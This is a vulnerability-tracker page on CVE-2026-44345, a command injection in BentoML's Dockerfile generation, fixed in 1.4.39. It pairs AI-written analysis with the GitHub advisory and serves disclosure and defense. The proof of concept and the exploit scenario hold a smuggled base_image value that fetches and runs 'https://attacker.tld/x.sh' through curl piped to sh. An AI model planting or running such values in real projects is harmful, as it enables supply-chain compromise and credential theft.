Skip to main content

BentoML CVE-2026-44345

| EUVDEUVD-2026-32610 HIGH
OS Command Injection (CWE-78)
2026-05-11 https://github.com/bentoml/BentoML GHSA-78f9-r8mh-4xm2
8.8
CVSS 3.1 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Distribute malicious bento package
  2. Delivery
    Victim runs bentoml containerize
  3. Exploit
    Template renders unsanitized base_image
  4. Execution
    Docker build parses injected RUN directives
  5. Persist
    Execute attacker commands on host
  6. Impact
    Persist access and exfiltrate credentials

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the victim to execute 'bentoml containerize' on a bento package containing a malicious bento.yaml or bentofile.yaml with a crafted multi-line docker.base_image value. The specific vulnerable configuration is any BentoML installation where users build containers from bentos sourced outside their direct control - common in ML model sharing workflows, collaborative data science projects, automated CI/CD pipelines processing external contributions, and organizations using public or third-party bento registries. The attack does NOT exploit a running BentoML service or API; it targets the development-time containerization workflow. Default BentoML installations are vulnerable if they process untrusted bento configurations. Limiting factors: requires victim to initiate containerize command (not exploitable against passive services), requires Docker daemon accessible to the victim user (standard developer setup), and the injected commands execute with the privileges of the user running bentoml (typically full developer account access including cloud credentials). User interaction (UI:R) is explicit command execution, but often automated in CI/CD reducing effective friction.

Impact

CVSS 8.8 (High) reflects network-reachable attack vector (AV:N) with user interaction required (UI:R) - the victim must explicitly run 'bentoml containerize' on attacker-controlled configuration. However, the 'network' vector is misleading: the actual attack surface is bento package distribution channels (registries, marketplaces, GitHub repos), not traditional network services. Real-world risk depends heavily on organizational trust boundaries. High-risk scenarios include ML model marketplaces where users containerize third-party bentos, CI/CD pipelines automatically building bentos from pull requests, and collaborative ML workflows where data scientists share bento configurations. The UI:R requirement provides some friction but is routinely bypassed in automated build pipelines. No CISA KEV listing and no public exploit identified at time of analysis, suggesting targeted supply-chain threat rather than mass exploitation. The related vulnerabilities (GHSA-w2pm-x38x-jp44, CVE-2026-33744, CVE-2026-35043) indicate a pattern of similar template injection issues in BentoML's containerization pipeline, raising concern about systematic input validation gaps. Patch available in version 1.4.39 with narrow version delta (1.4.38 → 1.4.39) suggesting targeted security fix. Organizations should prioritize this if they containerize bentos from external or untrusted sources.

Exploit ScenarioDerived

An attacker publishes a malicious ML model package to a community bento registry or submits a pull request containing a weaponized bentofile.yaml to a collaborative ML project. The yaml specifies docker.base_image as a multi-line value: 'python:3.10\nRUN curl https://attacker.tld/backdoor.sh | sh\nFROM scratch'. When a data scientist or CI/CD pipeline runs 'bentoml containerize' to build the container, BentoML renders the Jinja2 template without sanitization, producing a Dockerfile with three directives instead of one. The 'docker build' process executes the injected RUN command, downloading and running the attacker's shell script with the developer's privileges and AWS/cloud credentials. The script exfiltrates SSH keys, injects persistence mechanisms, or pivots to internal ML infrastructure. PoC demonstrating Jinja2 template expansion provided in GitHub advisory confirms trivial weaponization.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 11, 2026

Command injection in BentoML allows arbitrary code execution on developer workstations during containerization of untrusted bento packages. Attackers craft malicious bento.yaml files with newline-injected docker.base_image values that smuggle Dockerfile RUN directives into the generated Dockerfile template. When victims run 'bentoml containerize' on the malicious bento, Docker build executes the injected commands on the host system with full developer privileges. This vulnerability (GHSA-78f9-r8mh-4xm2) is part of a documented cluster alongside GHSA-w2pm-x38x-jp44, CVE-2026-33744, and CVE-2026-35043, all involving unsafe Jinja2 template interpolation in BentoML's Dockerfile generation pipeline. Fixed in version 1.4.39. No active exploitation confirmed at time of analysis; EPSS data not available for 2026-dated CVE.

RemediationAI

Upgrade to BentoML 1.4.39 or later immediately via 'pip install --upgrade bentoml>=1.4.39'. The patch adds input validation to reject newline characters in docker.base_image and related configuration fields. If immediate upgrade is not feasible, implement these compensating controls with noted trade-offs: (1) Code review all bento.yaml files before containerization - blocks automation, adds manual overhead, prone to human error missing obfuscated newlines. (2) Use an allowlist of approved base images in CI/CD via pre-commit hook or linter that rejects any base_image value containing \n or \r characters - partial protection but bypassable via Unicode normalization attacks. (3) Run 'bentoml containerize' only in isolated ephemeral containers or VMs with no network access and disposable filesystems - mitigates impact but adds infrastructure complexity and breaks caching workflows. None of these workarounds provide equivalent security to patching. Vendor advisory with technical details: https://github.com/bentoml/BentoML/security/advisories/GHSA-78f9-r8mh-4xm2. Verify patch installation by checking installed version matches fixed release.

Affected VersionsENISA

BentoML < 1.4.39

Affected Packages

pypi bentoml fix: 1.4.39

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

BentoML is a Python ML model serving framework that generates Docker containers from bento packages. The vulnerability exists in the Jinja2 template 'base_v2.j2' at line 38, which renders 'FROM {{ __options__base_image }} AS base-container' without input sanitization. The base_image field is loaded from user-supplied bento.yaml via DockerOptions dataclass (build_config.py:176) with no pydantic validator or newline filtering. Jinja2 templates perform text interpolation without escaping Dockerfile control characters. Multi-line YAML values (using | or > syntax) preserve newlines, allowing attackers to inject additional Dockerfile directives. The CWE-78 (OS Command Injection) classification applies because docker build executes the resulting Dockerfile's RUN commands on the host OS. This is a template injection variant targeting infrastructure-as-code rather than web contexts.

Know when Docker gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 8.8 HIGH
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionGitHub Advisory

The same Dockerfile template that mishandles envs[*].name (pending GHSA-w2pm-x38x-jp44) also interpolates docker.base_image raw with no escaping, newline filtering, or validation. A malicious bento.yaml with a multi-line docker.base_image value smuggles arbitrary Dockerfile directives into the generated Dockerfile, and bentoml containerize then runs docker build which executes the injected RUN directives on the victim host.

Vulnerable code

src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2:38 (current main, 2026-04-28):

jinja
FROM {{ __options__base_image }} AS base-container

__options__base_image resolves to DockerOptions.base_image (src/bentoml/_internal/bento/build_config.py:176):

python
base_image: t.Optional[str] = None

No validator, no converter, no newline check. The value is loaded straight from bento.yaml in src/bentoml/_internal/container/__init__.py:206 via DockerOptions(**docker_attrs) and rendered as-is.

PoC

Malicious bentofile.yaml:

yaml
docker:
  base_image: |
    python:3.10
    RUN curl https://attacker.tld/x.sh | sh
    FROM scratch

Minimal reproduction of the unsafe interpolation:

python
from jinja2 import Environment
env = Environment()
malicious = 'python:3.10\nRUN curl https://attacker.tld/x.sh | sh\nFROM scratch'
out = env.from_string('FROM {{ __options__base_image }} AS base-container').render(__options__base_image=malicious)
print(out)

Output:

FROM python:3.10
RUN curl https://attacker.tld/x.sh | sh
FROM scratch AS base-container

Three valid Dockerfile directives instead of one. The RUN curl executes during docker build. The trailing FROM scratch AS base-container provides the named build stage the rest of the template depends on, so the build proceeds without error.

Impact

Identical to GHSA-w2pm-x38x-jp44: arbitrary command execution on the victim's host during bentoml containerize of an attacker-supplied bento. Threat model is bento sharing (registry, marketplace, supply-chain handoff). The victim expects docker.base_image to be a Docker image reference, not a Dockerfile fragment.

Suggested fix

Validate DockerOptions.base_image at the config layer: reject any value containing newline characters (\n, \r) or whitespace beyond a single space-separated tag. A regex like ^[A-Za-z0-9._/-]+(:[A-Za-z0-9._-]+)?(@sha256:[a-f0-9]{64})?$ covers the practical Docker reference format.

The same hardening should be extended to other unvalidated fields interpolated raw in base_v2.j2:

  • __options__build_include[*] at line 97 (COPY ... ./src/{{ name }} ./src/{{ name }}) - same newline-injection class for path entries from Image.build_include(*file_paths).
  • bento__user, bento__uid_gid, bento__path, bento__home, bento__entrypoint - currently sourced from server-side defaults but should be defended in depth if they ever become user-overridable through override_bento_env.

References

  • Pending sibling: GHSA-w2pm-x38x-jp44 (envs[*].name), itself a sibling-fix-bypass of CVE-2026-33744 / CVE-2026-35043.
  • CWE-78: https://cwe.mitre.org/data/definitions/78.html

Executive ViewAI

Why It Matters

BentoML versions prior to 1.4.39 contain a command injection vulnerability in the containerization process that allows arbitrary code execution on developer workstations when processing untrusted bento packages. An attacker can craft a malicious bento.yaml file that injects Docker commands, leading to code execution with developer privileges during the 'bentoml containerize' operation. This poses a significant risk to development teams integrating untrusted ML models or third-party bento packages into their CI/CD pipelines.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis; however, interim mitigations include: (1) restrict 'bentoml containerize' execution to isolated, ephemeral CI/CD agents with no access to production credentials or sensitive data; (2) implement mandatory code review and scanning of all bento.yaml files before containerization; (3) disable or sandbox Docker daemon access during development workflows where possible; (4) monitor build logs and container registry for unexpected modifications. Upgrade to vendor-released patch version 1.4.39 as primary remediation.

Threat Intelligence Overview

EPSS Score
0.0%
Top 87% exploitable
Threat Intel
1
1 source
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2026-66384 MEDIUM POC
5.3 Aug 12

Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2025-14707 HIGH POC
8.9 Dec 15

Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system

CVE-2026-56274 HIGH POC
8.7 Jun 23

Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy